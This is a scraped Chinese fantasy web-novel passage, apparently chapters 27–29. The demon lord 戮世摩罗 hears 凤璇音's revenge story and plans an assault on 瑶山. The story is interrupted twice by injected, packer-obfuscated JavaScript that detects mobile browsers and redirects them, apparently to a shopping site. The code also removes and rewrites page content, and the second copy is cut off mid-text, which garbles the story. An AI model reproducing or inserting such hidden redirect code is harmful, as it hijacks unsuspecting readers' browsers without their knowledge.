“是的,这里是岐山关的羽会楼。”文鳐点了点头,但她并未落座,而是小心翼翼地朝门口退去,边退边道,“郡主,您先好好休息,我去和帝尊通报一声,他说您醒了之后,有事要问您。” “有事要问我?”凤璇音用手指了指自己,眉头微皱,疑惑地重复了一遍。 “是的。”文鳐顿住脚步,缩着肩膀点点头,似乎生怕自己说错了话。 凤璇音思索少顷,点了点头,对她道,“你去吧。” 文鳐匆忙行了一礼,轻轻推开房门,身影逐渐消失在了门外。 凤璇音忍着腹部的疼痛缓缓起身,下床之后,一步一挪地走到正厅,找到一张椅子慢慢坐了下来。她环顾四周,边关堡垒之内,屋子陈设十分简单,除了帘子和桌椅再无其他,月光透过窗棂洒在地面上,形成了一道道斑驳的光影。 凤璇音静坐片刻后,外面传来了轻轻的敲门声,凤璇音道了一声“进”,门便应声而开,戮世摩罗独自一人走了进来。 凤璇音见是戮世摩罗,想要站起来行礼,但戮世摩罗挥了挥手,制止了她,“坐着吧。” 凤璇音犹豫了一下,最终还是听从了戮世摩罗的话,没有起身,只是低声道了一句,“多谢帝尊。” 说罢,她转过身,拿起桌上的茶壶,缓缓往杯中倒入清茶,将杯子推到了桌子的另一边。 戮世摩罗走过去,坐到了对面的椅子上。 “看你脸色苍白,定是伤势严重,就不用行礼了。”戮世摩罗的语速都比平时快了一些,似乎决定速战速决这场对话,“我有几件事要问你,问完就走,不打扰你休息。” 凤璇音轻轻摇头,“帝尊有何疑问,尽管问就是。” 戮世摩罗便也不和她弯弯绕绕,直接开门见山地道,“先前在羽瑞寒魄宫中,你说要我帮你杀瑶后,但我猜,你攻打瑶山,应该还有别的目的吧?” 凤璇音的眸子一暗,随即又垂下了眼睑:“是。”她坦然承认,“应龙师和瑶后都是我的仇人,但我请帝尊攻打瑶山,不仅仅是为了杀瑶后,还为了请帝尊帮我救两个人。” 她的要求似乎已在戮世摩罗的意料之中,年轻的帝尊没有做出过多的反应,“是谁?” 凤璇音轻声回答:“我母亲,还有我姐姐。” “你姐姐?”戮世摩罗反问,凤璇音先前并没有告诉过他她还有个姐姐。 但下一秒,他便回忆起,昔日魑琉心向他提及应龙师的几个孩子时,确实有提到过凤璇音的母亲玄姜生了两个女儿,而这个大女儿似乎在战争中失散了。 当时戮世摩罗还感慨,这个玄姜真是命运多舛。 “嗯。”凤璇音轻轻点头,眼神是一汪看不见底的幽暗: “先前她们都被瑶后囚禁在瑶山的深处,如今我已逃离羽瑞寒魄宫,恐怕瑶后会对她们不利,因此恳请帝尊出手,将我母亲和我姐姐救出。若能救出她们,凤璇音万死不辞。” 凤璇音说罢,又要起身行礼,戮世摩罗见状迅速挥了挥手,示意她保持原位: “这是本帝尊承诺过你的事情,自然会做到。”戮世摩罗向她保证,“只是……” 他话锋一转,“有一事,我有些困惑。” 凤璇音微微抬头,不解地问:“帝尊有何疑问?” 戮世摩罗试探着问,“瑶后为何要将你囚禁于羽瑞寒魄宫之中?又为何将你母亲和你姐姐关押在瑶山?” 凤璇音听他这样问,微微叹了口气,“这个故事,说来话长了。” “如果需要讲很长时间的话,”戮世摩罗提议道,“或许等你伤势好转再讲也不迟。” “无妨。”凤璇音轻轻摇头,依旧没有把伤放在心上,“但我需要整理一下思绪,想想该如何讲述这个故事。” 她一边说着,一边抬起了头,目光穿透木门,似乎看到了门外洒满月光的庭院,那蓝月毫无感情,将冷冷的光冷冷的寒气充溢了每一个角落。 “我母亲,曾是幽都古国的公主,是上古玄族的后裔,她与胜弦主交好,同时也与雷泽之主沉羲太鳄相恋。” 沉羲太鳄,这个名字,戮世摩罗有些印象。 他记得魑琉心在讲述凶岳疆朝的历史时,曾提及过这个魔——在应龙师还是皇子之时,沉羲太鳄曾是其麾下的得力干将,助其夺得皇位。 然而多年之后,沉羲太鳄却被应龙师以谋逆之罪处死。 “听起来,这中间好像有段很复杂的关系。”戮世摩罗猜测道。 凤璇音点了点头,继续讲述道,“我母亲在嫁给应龙师之前,本与沉羲太鳄是一对恋人,那时他们两人早已私定终身,却未料到,应龙师突然向幽都国主求婚,要求娶我母亲。” “幽都国主,也就是我外公,对应龙师的权势感到恐惧,便答应了这门婚事。起初我母亲宁死不从,但最终无法抵挡父母的安排,不得不接受了这桩婚事。而沉羲太鳄虽然痛苦,但见我母亲接受现实,便也放弃执着,选择以大将军的身份在我母亲身旁默默地守护。” “我母亲嫁给应龙师后,心中虽然不甘,但逐渐也接受了现实。她认为,自己肩负着保护幽都古国的重任,既然已成定局,便只能顺应。” “然而,她万万没有想到,应龙师娶她,背后竟还隐藏着别的目的。” “那时,应龙师已年迈,对于一个称霸一方、却步入暮年的魔来说,最让他恐惧的,莫过于死亡的到来。” “应龙师寻求长生不死之法,在翻阅了无数古籍之后,他终于发现了一种石头,名为五生石。据说,五生石是上古玄女为了填补冰夷之渊而炼制,蕴含着强大的复生之力。若能将此石炼制成丹药服下,便能够逃脱死亡,获得永生。于是应龙师遍寻古籍,希望能找到上古玄女炼制五生石的方法。” 凤璇音说到这儿,忽地冷笑一声,如同寒夜中的北风,带着刺骨的寒意: “说来也巧,他竟然真的找到了那失传已久的秘法。” 言罢,窗外忽然“呼啦啦”地刮来了一阵风,犹如山雨欲来之兆一般,而火凤郡主双眸凝视着前方,一双血红色的眼睛像是要滴出血来。 借着这危险的风声,她说出了惊人之语: “五生石,是上古玄女,用自己的孩子炼制而成的神石。” “而她的夫君,正是烛龙一脉。” “……” 屋内忽地陷入了令人窒息的沉寂之中,只剩窗外的风声,像是蓝月对于世人的某种警告一般。 戮世摩罗直视前方,一个念头如闪电般划过他的脑海: “难道说,应龙师娶你母亲,是因为……” 凤璇音的拳头紧握,指甲深深地陷进手心的肉里: “应龙师娶我母亲的目的,是为了得到一个玄族与龙族的混血后代,以此来炼制五生石。” “而那个孩子……” 她一双血红双眸盯着前方,声音冷得如同寒魄宫中的千年玄冰: “就是我。” —— 烛光摇曳,投射出跳动的阴影,阴冷的月光透过窗户洒落,给这幽暗的屋内增添了几分阴冷。屋内,凤璇音的讲述还在继续。 “年幼之时,我便被母亲丢进了冰夷之渊的深处。所以,那个传言中在战争中失落的女儿,并非我姐姐青鸾郡主,而是我。” “冰夷之渊天寒地冻,年幼的我差点被冻死在那里,好在后来冰夷族的族长发现了我,将我带回了村落,所以我幼年时,是在冰夷族的庇护下长大的。” 她停顿了一下,忽然像是想起来了什么似的,一边回忆着一边道,“我记得那时,我还曾救过一名来自修罗国度的魔族战士。他大概是在征战中遭遇伏击,不幸坠入了冰夷之渊附近的雪凝洞,或许帝尊会认识他。” “修罗国度的?”戮世摩罗询问,“谁?” 凤璇音摇了摇头,“他沉默寡言,从未透露过自己的姓名。我们是通过他身上的战甲,才辨认出他是修罗国度的魔族。但我记得,”她指了指自己的眉心,“他有三只眼睛。” “三只眼睛?”戮世摩罗想了想,他竟没见过这样的魔,等着需要回去问一下曼邪音。 “我来魔世时间不长,不曾见过。”戮世摩罗解释道,“你继续说吧。” 凤璇音点了点头,便继续讲了下去: “我在冰夷族安安稳稳过了许多年。但好景不长,很快我就被瑶后发现了。我苦苦哀求她不要向应龙师说出我的下落,但瑶后还是将我告发了。应龙师不仅派人将我带走,还当着我的面杀害了一半冰夷族族民以示警告,包括救了我的族长,抚养我的义父义母,还有教我术法的师父……” “我被带回凶犁魔都后,被囚禁在地下监狱的深处。我不想坐以待毙,便向狱卒打探外界的情况。从狱卒的口中,我得知在我失踪之后,应龙师散布了谣言,声称我母亲的两个女儿,一个失踪,一个因邪火体质被困于羽瑞寒魄宫,这也为他后来囚禁女儿找了一个合理的借口。” “这时你母亲和姐姐在哪里?”戮世摩罗问她。 凤璇音的双眸低垂,眼中闪过一抹不易察觉的黯淡, “她们在瑶山。” “瑶后将她们带过去的?”戮世摩罗猜测,他大概地算了一下时间,那个时候应该已经有沉沦海之约了。 “是的。”凤璇音回道,“瑶后前往镇守瑶山之后,应龙师为了阻止我们母女相见,便让瑶后将我的母亲和姐姐也带去了瑶山。而我也没能逃离魔羲宫,最终被应龙师关进了羽瑞寒魄宫。” “那羽瑞寒魄宫,并非是压制邪火之地,而是一个专门针对龙玄混血的巨大炼丹炉。” “应龙师将被放置其中,就是为了利用千年寒冰之力,将我炼化为五生石。” 凤璇音说到这儿,即使是刻意压抑的语气,也隐瞒不住那深深的怨恨了。 戮世摩罗继续询问,“那你的功体……是怎么回事?” 凤璇音平稳了一下自己的呼吸,待语气平静后,才轻声解释道,“我为了抵抗羽瑞寒魄宫的寒冰之力,自毁了三次功体,如今我的功体已经被彻底毁坏,再也使用不出任何术法和招式了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006825|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 戮世摩罗听她说得轻描淡写,心内不禁感慨,千年寒冰之力,戮世摩罗在与祸英白蜚对决时见识过一次,煎熬程度不亚于被真的投进火炉,而凤璇音竟忍受此苦将近百年。至于魔族的功体被毁,更是常人难以忍受的痛苦,她竟一连自毁三次不曾手软。 该评价她点什么?不愧是应龙师的女儿? “我第一次自毁功体的时候,被瑶后发现了。”凤璇音的声音再次出现了冰冷的恨意,“她便派人送来了一样东西。” 戮世摩罗问,“什么东西?” 凤璇音的声音低沉,仿佛从深渊中传出,“是我母亲的左手。” 戮世摩罗的眼中闪过一丝意外。 凤璇音继续说道,“我第二次自毁功体,她又将我母亲的右手送到了过来。”话说到这儿,她已经有些压制不住声音里的颤抖了。 “第三次,她割下了我母亲的耳朵,将它送到了我这里。”凤璇音似乎已经无法掩饰语气中的恨意了: “其实,当她第一次送来左手时,我就已经明白,如果我再次自毁功体,她会继续折磨我的母亲。但我不想就这样如同一个无生命的物品一般死去,我要活下去,然后……” 说到这里,她的双手紧握成拳,手背上青筋暴起,呈现出一种病态的紫色: “……向他们每一个人复仇。” “羽叶冰茶,是瑶后送来的,而我在其中加入了一点海魂珠的粉末,它便成了毒死应龙师的剧毒。麒岁和麒染太子之间的争斗,是我暗中挑拨,最终导致了麒岁的死亡,而麒染,我想他也不会活得太久。至于其他的皇子……” 凤璇音的话语一顿,她缓缓转过头来,月光在她的脸上投下斑驳的阴影,使她看起来如同暗夜中的恶鬼般阴森: “你猜,在皇子夺位的过程中,像麒染这样毫无智谋又爱出风头的人,为何能够存活到最后?” 戮世摩罗的眉头紧皱,沉思片刻,猜测道,“他立功了。” “帝尊明察。”凤璇音的声音如同夜枭般幽冷: “是我故意透露给麒染以子嗣炼制应龙混元的方法,他为了邀功,果然去向应龙师提议。” 忽然间,整个岐山关忽然阴风肆虐,月色变得惨淡无光,摇曳的树影在夜色中扭曲成一条条张牙舞爪的鬼影,连空气中也弥漫着一股令人窒息的死亡气息。 凤璇音的声音在死寂的夜空中幽幽响起,满是刻骨的恨意: “我要让应龙师和瑶后的每一个孩子,都不得好死。” —— 沉沦海上,瑶山之巅,碧瓦金柱的宫殿在一片血雾之中,呈现出一股诡异的阴森氛围。 宫殿之中,瑶山之主——瑶后豹青急匆匆地穿过主殿,她步伐沉重,神色严峻,深褐色的皮肤在金色的火光下显得凶神恶煞,青绿色的长发随风摇曳,璀璨夺目的金饰此刻却黯淡无光,仿佛在无声中畏惧着,生怕发出一丝声响,激怒了这位暴怒的主人。 瑶后走到金色的高座前,转身坐下,冷冷地看向紧随其后的瑶山守将罪凌狡。 阶梯之下,罪凌狡双手捧着一个精致的锦盒,垂首低眉,身形笔直地站立,等待着瑶后的询问。 “刚刚你说,这个盒子,是凤璇音派遣使者从岐山关送来的?”瑶后的声音在大殿中回荡,威严而压迫。 “是。”罪凌狡沉声回应,目不敢抬,“使者送来后便匆匆离去,并且再三嘱咐末将,此物至关重要,务必请瑶后陛下亲自启封。” “哼,凤璇音这是在玩什么把戏?”瑶后冷哼一声,声音中透露出轻蔑,她朝罪凌狡挥了挥手,“拿上来吧。” 罪凌狡小心翼翼地上前,双手恭敬地将盒子递给了瑶后。 瑶后接过盒子,目光紧紧盯着盒子上的复杂花纹,似乎在寻找着什么线索,她一边看着那盒子,一边自言自语道,“若这是陷阱,那我只能说,凤璇音的这点小伎俩,根本就不入本座之眼。” 说罢,她将盒子轻轻放在椅子的扶手上,另一只手闪现出一道青色的光点。 只见那光点在空中划过一道弧线,精准地点在盒子上方。瞬间,一个青色的法阵在盒子上方缓缓展开,光芒闪烁,照亮阴暗的主殿。 瑶后维持着术法,片刻过后,青色的光芒逐渐淡去,阵法也随之消散,大殿中又恢复了平静。 “这盒子,可有术法加持?”罪凌狡忍不住出声询问,声音中带着一丝紧张。 瑶后却并未作答,她依旧盯着那盒子,沉默不语。 这盒子之上,并无任何术法加持的痕迹,也未探查出盒子内有何危险之物。 难道……这真的只是个普通的盒子? 瑶后将手指轻轻放在盒子上方,轻轻敲击了两下,似乎在试探着什么。 最后,她下定决心,猛地掀开了盒盖。 然而,当她看到盒子里的东西时,脸色骤变,如同被雷电击中,猛地后退两步,险些失去平衡。幸好罪凌狡眼疾手快,急忙上前扶住了她。 瑶后指尖颤抖,从喉咙深处发出愤怒而扭曲的声音:“凤璇音……凤璇音……你和你的爹娘一样该死……该死!” 她的话音落下瞬间,一股强大的魔气如同狂风暴雨般爆开,将罪凌狡震得连连后退,面露惊恐。 罪凌狡见瑶后如此震怒,急忙稳住身形,上前一步,目光投向那盒子,想要看清其中之物。 当他看清盒子内的东西时,眼睛也随之震惊地瞪大了—— 对方送来这个,是明目张胆的挑衅。 盒子里,是麒岁的人头。 —未完待续— 28.复仇(3) 【28】 “什么?应龙师要拿她炼五生石?!” 当戮世摩罗简短地将凤璇音的事情向几位魔将解释之后,苏容焉发出了难以置信的声音: “怪不得郡主的身体那么虚弱,原来都是应龙师害的!” 苏容焉距离戮世摩罗近,突然高声喊出一句,戮世摩罗不得不捂住一只耳朵,“苏大夫啊,你不要那么大声,会吓到小孩。” 苏容焉闻言,急忙道歉,“抱歉帝尊,稍微有点激动了。”说罢,又义正言辞地道,“帝尊,攻打瑶山之事,请随时向末医下令,只要有用到末医的地方,苏容焉万死不辞。” “死不了一万次。”曼邪音带着些嘲讽地插言道,“你也只剩两条命了。” “好好珍惜你那两条命吧。”戮世摩罗的目光扫过苏容焉,心中回想起初见时的荒诞场景,“你在后方照顾好伤员即可,前线是万万不能让你上的,我怕你撑不过两秒钟。” 苏容焉张了张嘴想辩解,但曼邪音一个箭步上前,直接打断了他的话,“帝尊,这是出发之前策君交给我的。”说罢,她从袖笼里拿出了一个卷轴递给戮世摩罗。 戮世摩罗接过卷轴,将其展开,目光落了下去。 他紧皱着眉头,盯着卷轴沉默了片刻后,将卷轴平铺在桌面之上,声音低沉地说:“你们过来一起看。” 于是众魔将都上前去,围在了桌子的四周。 ——只见那卷轴上画了一幅扭曲变形的地图,地图线条歪歪扭扭,图标稀奇古怪,让人看得云里雾里,不知所云。 戮世摩罗抬起头,扫视了一圈众人,“策君这是画了个什么东西?” 曼邪音猜测,“或许是瑶山的地图?” 戮世摩罗反问,“这张图和瑶山有半点关系?” 网中人提醒他道,“公子开明在图标上面有写字,你看看他写了什么?” 戮世摩罗低下头,盯着那蝇头小字辨认了半天,最后恍然大悟,“哦,还真的是瑶山的地图。”顿了顿,他忍不住发问,“策君这是闭着眼画的地图?” 网中人又问,“他画的是瑶山的防御布置?” 戮世摩罗点了点头,目光再次回到地图上,手指指在一串如同波浪般的线条上,“根据策君的标记,瑶山位于沉沦海之上,外围有影魔大军巡逻,山附近遍布暗礁,边防大将罪凌狡在这些暗礁上布了机关。” 接着,他又指向一片如同沙粒堆积的图案,继续说道: “这里是瑶山的外围,需要突破暗礁机关才能抵达。外围有一圈城墙,罪凌狡就在此处把守。攻破城墙后,唯一通往山顶的路径是弱水夹道,夹道上有弱水关,关外有浮岛要塞,瑶山周围的浮岛均有军队驻守,随时准备对夹道上的敌人进行夹击。” “穿过弱水关,便是通天梯,通天梯一次只能通过寥寥数人,过了通天梯,便是瑶后居住的瑶宫了。” 戮世摩罗讲解完毕,抬起头,目光在众人脸上扫过:“大家有什么想法吗?” 大厅内陷入了短暂的沉默,随后,曼邪音沉声开口,简洁地吐出四个字:“易守难攻。” 戮世摩罗没说话,拿起那卷轴上上下下里里外外找了一遍,最后道,“策君只画了幅鬼才能看懂的地图给我,也没什么攻城的计策,难道他这个军师准备让本帝尊自己动脑子?” 网中人冷声道,“你又不是没有思考能力,自己想想。” “妖神将啊,你竟然向着策君说话,是太阳从西边出来了吗。”戮世摩罗一本正经地道,说完又像是才反应过来什么似的,“哎呀,我忘了,魔世没有太阳。” “策君说他有写。”曼邪音有些不确定地道。 “难道他是用柠檬汁写的,还需要我烧一烧才能看见?”戮世摩罗扬着声音问道,说罢挥了挥手,“算了算了,到最后还得靠本帝尊。”说着,他把那卷轴收了起来: “今天的会议就先到这里,既然夜国公不在,蜂罚钦原就负责整顿岐山关水军,闼婆尊和赤甯朱厌随时待命,苏大夫做好后勤,多关注一下凤璇音的身体情况。” “是。”众魔将回应。 “好了,都退下,各司其职吧。”戮世摩罗将卷轴收好后,向众魔做了一个解散的手势。 众魔向他行了一礼,便纷纷转身,各自忙碌去了。 厅里只剩下了戮世摩罗和网中人。 沉寂许久之后,戮世摩罗见网中人依旧在下面站着,目光便从紧闭的正门缓缓移至网中人的身上,“有话要说?” 网中人停顿片刻,慢慢开口,语气平淡仿佛不含任何情绪,“给凤璇音报仇,你倒是积极。” 戮世摩罗闻言,“哈”地笑了一声,解释道,“这是本帝尊答应她的。” “原来你是这么信守承诺的人。”网中人话里有话地道。 “唉,都是本帝尊把你带坏了,如今说话也学会了拐弯抹角。”戮世摩罗夸张地摇了摇头,叹息道,“你之前不是说过,瑶山并不难打。” “因为罪凌狡和瑶后皆不是吾的对手。”网中人回道,“瑶山能攻下,仇也能报,但不一定非要在此时此刻。” 戮世摩罗没说话,只是盯着网中人看,眼神里的情绪被他藏在幽幽的黑暗之中。 “公子开明没有留下对策,是因为现在亲自攻打瑶山,并非最佳选择。”网中人的声音在空旷的大厅中回响,“吾想,公子开明此刻应该正在前往幽闇联盟的路上吧?” 面对网中人的质问,戮世摩罗无话可说,只得道,“竟然都被你看穿了。” 正如他之前所制定的计划那样,当前的局势,最佳策略应是让幽闇联盟出兵牵制瑶山,修罗国度的大军从浮玉关进攻——水战并非修罗国度的强项,加之瑶山地势险要,易守难攻。虽然攻克瑶山确实能给凶岳疆朝以重创,但也的确并非上策。 网中人的声音再次响起,仿佛将周围的空气冻结:“奉劝你,别为了莫名其妙的同情扰乱思绪。” 这句话像是戳到了戮世摩罗什么,他略微怔了一下,但很快就调整好自己,装痴卖傻起来,“妖神将,你在打什么哑迷,有话直说不好吗?” “吾以为吾说得够清楚了。”网中人语气不善地道,似乎并不想和戮世摩罗说过多的废话。 戮世摩罗笑了一声,抬起了眼睛,把情绪都隐匿在玩笑般的语气里,“妖神将啊,修罗国度的帝尊会有同情心这种东西吗?不要想太多,我自有安排。” 网中人闻言,倒也没有反驳他,只是无波无澜地回道,“那是吾多言了。” 而后,他单手背后,大步流星地朝门口走去了。 走了半道,戮世摩罗的声音从后面传来: “瑶山,能攻下吗?” 网中人顿住脚步,而后回过头去,目光与戮世摩罗相对。烛光在空气中摇曳,光影在戮世摩罗的脸上跳跃,仿佛在他的面庞上绘出了一张张灰暗的花纹。 沉默许久之后,网中人沉着声音道:“十个瑶山,吾也能踏平。” “哈。”戮世摩罗笑道,“不愧是妖神将。” 网中人“哼”了一声,没再回应,一甩袖子,大步流星地走出了大厅。 戮世摩罗坐在椅子上,看着网中人逐渐走远,待身影消失后,他便站起身来,朝着厅后幽深的书阁缓缓走去了。 —— 昏暗的烛光中,羽会楼显得格外静谧。苏容焉坐在床榻旁边,手搭在凤璇音冰凉的手腕上,眉头紧锁,表情凝重,似是遇到了十分棘手的麻烦。 凤璇音的目光盯着苏容焉,似乎已经从他的神态中读出了不祥的预兆,轻声开口,“苏大夫,关于我的身体状况,你不必有所顾虑,直截了当地告诉我便是。” 苏容焉缓缓摇了摇头,一声叹息沉重地溢出喉咙: “影魔的伤势虽然已经无大碍,但郡主你身体的大部分器官组织正在逐渐石化,虽然离开了羽瑞寒魄宫后得以遏制,可身体已经非常虚弱了。”说着,他指向凤璇音腹部的伤,语气更加沉重: “这样的伤势,即使是一般弱小的魔族,也只需一两天便能复原,而郡主你,则需要半个月才能勉强痊愈。” 凤璇音的脸上没有一丝意外,仿佛这一切都在她的预料之中,“我心中一直计算着日子,但凡帝尊晚救我两天,只怕我早已化作五生石了。” 苏容焉深深地叹了口气,似乎是在为凤璇音感到不平。 凤璇音的声音再次响起,打破了沉默,“苏大夫,你实话告诉我,我还能活多久?” 苏容焉没有立刻回答,大概是在斟酌怎么表达能让凤璇音更好接受些,过了许久才答道,“若郡主从今以后好好休息,调养身体,几十年是没有问题的。” 几十年,对于一个魔族来说,太短了。 “有让我恢复身体的方法吗?”凤璇音继续追问。 苏容焉面露难色,思索许久之后,才小声回道,“目前……没有能让郡主恢复身体的方法。末医曾想过以青丘狐族之血医治郡主,但狐族的血只能医病,郡主的身体状况并非疾病,所以……” 他没有继续说下去,但凤璇音已经明白了他的未尽之意。 凤璇音盯着前方思虑良久,忽然道,“苏大夫,你有去过冰夷之渊吗?” “冰夷之渊?”苏容焉有些疑惑地重复,随即摇了摇头,“没有。” 凤璇音吐字缓慢,不知是因为身体虚弱,还是怕苏容焉听不明白:“我年幼时,曾跟随冰夷族的冰夷祭女学习过一段时间,我听我师父说,冰夷族境内有一种轮回花,可以封存死去之魔的魂魄,百年之后借花重生,苏大夫可有听说过?” 苏容焉摇了摇头,“郡主提到的这种花,末医还是第一次听说。不过既然是郡主的师父告知,想必还是有一定可信度的,若郡主需要,末医就找时间上报帝尊,前去冰夷之渊察探一番。” 凤璇音见他如此急促,不禁笑道,“苏大夫,你别急,我还没说完。” 苏容焉闻言,忽觉窘迫,忙道,“郡主继续说。” 凤璇音又道,“轮回花并非随意生长,其种子需在冰夷之渊中寻觅,且种植条件极为苛刻。我师父曾说,轮回花的种子难寻,更难以成活,因此我也只是随口一问,并没有要麻烦苏大夫的意思。 “不麻烦不麻烦。”苏容焉正色道,语气十分认真,“攻打完瑶山之后,我就把此事禀告给帝尊,郡主你这段时间就好好休息吧。” 说完,又略感愤慨地道,“应龙师也太残忍了,竟然将你炼作五生石,丝毫不顾骨肉亲情,更将生命视同草芥!这种行径,真是令人发指!” 凤璇音见苏容焉一副义愤填膺的样子,不禁觉得有些滑稽,“这对魔来说不是司空见惯的事吗?苏大夫如此愤慨,做为魔族,倒是有些天真了。” 苏大夫摇了摇头,反驳她道,“在医者的眼里,所有生命都不容轻视。” 凤璇音听他这样说,似乎是听到了什么很有意思的事情,带着些好奇地问道,“苏大夫如此看重生命,可我先前听蜂罚钦原说,苏大夫原本有九条命,现下只剩两条命了,难道苏大夫的命不重要吗?” “重要是重要,可你想,别人都是一条命,而我有九条命,我的命就只有别人九分之一重要。所以别人那唯一一条命要失去时,我便替他失去,我也不死,他也不死,这不是很好吗?” 苏容焉看着凤璇音的眼睛,语气诚挚地解释道:“我们青丘狐族既然有九条命,那就应该承担起这个责任,末医从小就是这么认为的。” “……” 凤璇音与他在沉寂中对视良久,忽然像是意识到了什么很好笑的事情,挪开眼神笑起来。 苏容焉一怔,对于凤璇音突如其来的笑声感到困惑不解,“怎……怎么了,我说错话了?” “不,我只是觉得很好笑。”凤璇音再次转头看他,她脸上是笑着的,眼神却是冷的: “我只是在想,有的魔为了长生不死,满手血腥不择手段。而有的魔天生多命,却又一心求死只求护佑他人,这难道不好笑吗?” 苏容焉不明白这哪里好笑,但又不好意思再次反驳她,便只好僵硬地岔开话题,“郡主,您再休息一会儿……?” “没事的。”凤璇音摆了摆手,示意苏容焉不必过于担忧,“今日辛苦苏大夫了,我会好好休息的。” “嗯。”苏容焉点了点头,起身将桌上的针具一件件仔细收好,又对凤璇音和文鳐叮嘱了几句,便转身缓步走出了房间。 苏容焉走出羽会楼时,恰巧看到网中人站在城墙边上。只见他手扶在石砖上,正静静地眺望着远处瑶山的方向,身形凝固如雕塑,也不知道在想些什么。 苏容焉和网中人不太熟,料想网中人应该对自己也没有多少印象,便想装作看不见直接绕道走开。但还没走出去两步,心中忽然一个念头闪过,让他不由自主地停下了脚步。 苏容焉转过身,缓步走到网中人旁边,唤了他一声,“妖神将?” 网中人大概早已察觉到他的接近,仍保持着原有的姿势,连声音也平静如古井无波,“何事?” 苏容焉犹豫了一下,最后深吸一口气,鼓起勇气问了网中人一个问题: “妖神将,你这样不断地复活,永生不死,有没有想过要放弃生命?” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这下公子开明听出来鬼飘伶的话中之意了,“阿飘,我失踪的时候你是不是好担心?” 鬼飘伶捋了一下头发,淡然道,“有什么可担心的,你又死不了。” “什么什么,阿飘是这么想的?难道不应该是死了正好~”公子开明摇晃着脑袋,开玩笑道。 “因为结束你性命的魔只能是我。”鬼飘伶的手放到了剑上。 “啊等下等下亲爱的阿飘,这里是藏书阁不是教场,我们读书人不要一言不合就打架啦!”公子开明揽过鬼飘伶的肩膀,胡言乱语毫无逻辑地劝说道,“刚刚我还问胜弦主你去哪里了,没想到你竟然在藏书阁,你怎么会来藏书阁啊?” 鬼飘伶回答道,“墨雪不沾衣让我看书。” “啊?”公子开明满脸不解,“他为什么让你看书啊?” “比剑输了一次,他让我读《墨子》。”鬼飘伶解释道。 “啥?!”公子开明差点跳起来,“所以你来藏书阁是来找《墨子》?” 鬼飘伶一脸疑惑,“对啊,怎么了?” “阿飘你知道《墨子》是什么书吗?”公子开明急忙询问。 “不是剑谱?”鬼飘伶理所当然地反问。 “不是啦!”公子开明夸张地摇头,声音都高了一个分贝,“这里不可能有《墨子》啦!招摇关倒是有一本,改日我拿来给你看!” “那太好了,我就不用继续找了。”鬼飘伶一脸终于得救了的表情,“墨雪不沾衣还告诉我这里有《墨子》,原来是在(骗我)。” 稍作停顿,又问,“对了,小明来找胜弦主是为了什么事?” 公子开明闻言,有些头疼地敲了敲额头,背手绕圈解释道,“唉唉唉!还不是因为那个死小孩帝尊,他亲自出兵攻打瑶山,所以我来拜托胜弦主守好瑶山附近的关卡。只要戮世摩罗出兵浮玉关,幽闇联盟就出兵瑶山,两头牵制,必有一处能破。” 鬼飘伶略感意外地道,“戮世摩罗亲自攻打瑶山了?我还以为他会去浮玉关出兵。” “对啊,我们帝尊就是这么出其不意不按套路来。”公子开明晃了晃脑袋,似也拿这个帝尊很无奈,“我猜他是打算留着凤璇音有用,但具体的计划我还需搜集更多情报才能弄清楚。目前的首要任务是请胜弦主派兵驻守,毕竟最初攻打瑶山的意图只是为了分散注意力,若要真正进攻凶岳疆朝,还是得从浮玉关出兵。” “嗯。”鬼飘伶点头表示理解,“如果小明需要帮助,随时可以来找我。” 就在这时,书架的另一侧突然传来细微的声响。公子开明听见声响,立刻警觉起来,“谁?” 鬼飘伶在一旁解释道,“没事,是这里的书官。” 公子开明闻言一怔,“书官?”他重复了一遍,朝书柜对面探了探头,“刚才一直在这里吗?怎么也没听见声音。” “他是个哑巴。”鬼飘伶回道,“不会说话,不用担心。” “哑巴?” 听鬼飘伶这么一说,公子开明便起了好奇心,立刻大步绕过书架,走到了另一边去。 只见书架的另一边,果然站着一个白发的魔,那魔脸上戴着面具,额头戴一串璇瑰珠,整张脸都被遮得严严实实,只露出一双浅如云雾的眼睛。 他手里拿着一本书,大概是读了一半,当公子开明走过来时,他便转过头,将目光落在了公子开明的双眼上。 “……” 两人就这样寂静无声地审视着对方,直到鬼飘伶走到公子开明身后,轻声向书官打了个招呼,“Hello”,这沉默才被打破。 白发的书官向两人微微低头,礼貌地行了一礼,然后再次转身,继续阅读手中的书籍。 鬼飘伶小声对公子开明道,“他不会说话。” 公子开明没说话,他大步走上前,走到书官身旁,好奇地瞥了一眼他手中的书。 只见他手中翻到的那一页,上面赫然一串醒目的大字: “西王母族,护佑魔世;冰夷祭女,灵祭五生。” 公子开明看到这句话,神色一僵,再次抬头看向那书官。 他心里忽然冒出了一个念头,随着这几句话的出现,猛地涌了上来。 “这是……什么书?”公子开明开口询问。 书官听见了公子开明的问题,他抬起眼睛看了公子开明一眼,然后轻轻翻过书页,将封面展示出来。 书的封面,四个大字映入了他的眼帘: ——《玄族古纪》 —未完待续— 29.复仇(4) 【29】 沉沦海上,血色浓雾蔓延,无数黑色的影魔在雾中穿梭,如同游荡的鬼魂,发出令人毛骨悚然的嘶吼声。深蓝色的天空电闪雷鸣,银蛇般的闪电划破夜幕,将黑暗的海面照得如同白昼。 蜂罚钦原和祸雕两人小心翼翼地隐匿在一处嶙峋的暗礁后方,静静地观察着暗礁中心的瑶山。 “你看见了吗?”蜂罚钦原压低声音,手指指向瑶宫上方的闪电,语气中带着一丝凝重,“那是瑶山外围的震天伏夏震,要进攻瑶山,必须先破解这个阵法,才能抵达瑶山外围的坚固城墙。” 祸雕点点头,“这我倒是知道。这阵难破吗?” 